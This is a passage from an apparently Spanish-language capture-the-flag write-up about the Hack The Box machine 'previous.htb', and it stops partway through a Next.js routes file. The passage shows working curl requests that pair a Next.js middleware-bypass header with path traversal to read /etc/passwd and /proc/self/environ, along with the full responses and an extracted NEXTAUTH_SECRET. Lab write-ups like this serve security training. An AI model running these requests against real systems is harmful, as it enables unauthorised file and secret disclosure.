&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:33:47 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;787&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;passwd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;41amqg1v4m26j&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root:x:0:0:root:/root:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin:x:1:1:bin:/bin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon:x:2:2:daemon:/sbin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync:x:5:0:sync:/sbin:/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;halt:x:7:0:halt:/sbin:/sbin/halt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail:x:8:12:mail:/var/mail:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news:x:9:13:news:/usr/lib/news:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp:x:21:21::/var/lib/ftp:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd:x:22:22:sshd:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games:x:35:35:games:/usr/games:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntp:x:123:123:NTP:/var/empty:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guest:x:405:100:guest:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody:x:65534:65534:nobody:/:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;node:x:1000:1000::/home/node:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Variables de entorno&lt;/p&gt;
&lt;p&gt;Se revisó &lt;code&gt;/proc/self/environ&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v --output env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; % Total % Received % Xferd Average Speed Time Time Time Current
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Dload Upload Total Spent Left Speed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:37:25 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;environ&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;151dqoq1n56jy&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; bytes data&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;517&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- &lt;span style="color:#ae81ff"&gt;519&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;18.20.8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOSTNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0.0.0.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YARN_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.22.22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHLVL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/home/nextjs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NEXT_TELEMETRY_DISABLED&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PWD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_ENV&lt;span style="color:#f92672"&gt;=&lt;/span&gt;production
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="búsqueda-en-app-nextjs"&gt;Búsqueda en /app (Next.js)&lt;/h3&gt;
&lt;p&gt;Con el LFI se fue explorando el directorio de la aplicación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c6-91d1-f535ca622761.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8062-a47c-e67e4d9b00e1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80d9-8ac1-ee8576be767b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se localizó:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Además, se obtuvo un fichero &lt;code&gt;app&lt;/code&gt; con configuración/rutas de Next.js:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ cat app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: 3,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pages404&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;caseSensitive&amp;#34;&lt;/span&gt;: false,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;basePath&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;redirects&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;source&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;destination&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;internal&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;statusCode&amp;#34;&lt;/span&gt;: 308,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;headers&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dynamicRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/api/auth/[...nextauth]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(?&amp;lt;nxtPnextauth&amp;gt;.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/[section]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/([^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/(?&amp;lt;nxtPsection&amp;gt;[^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;staticRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/layout&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/sidebar&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
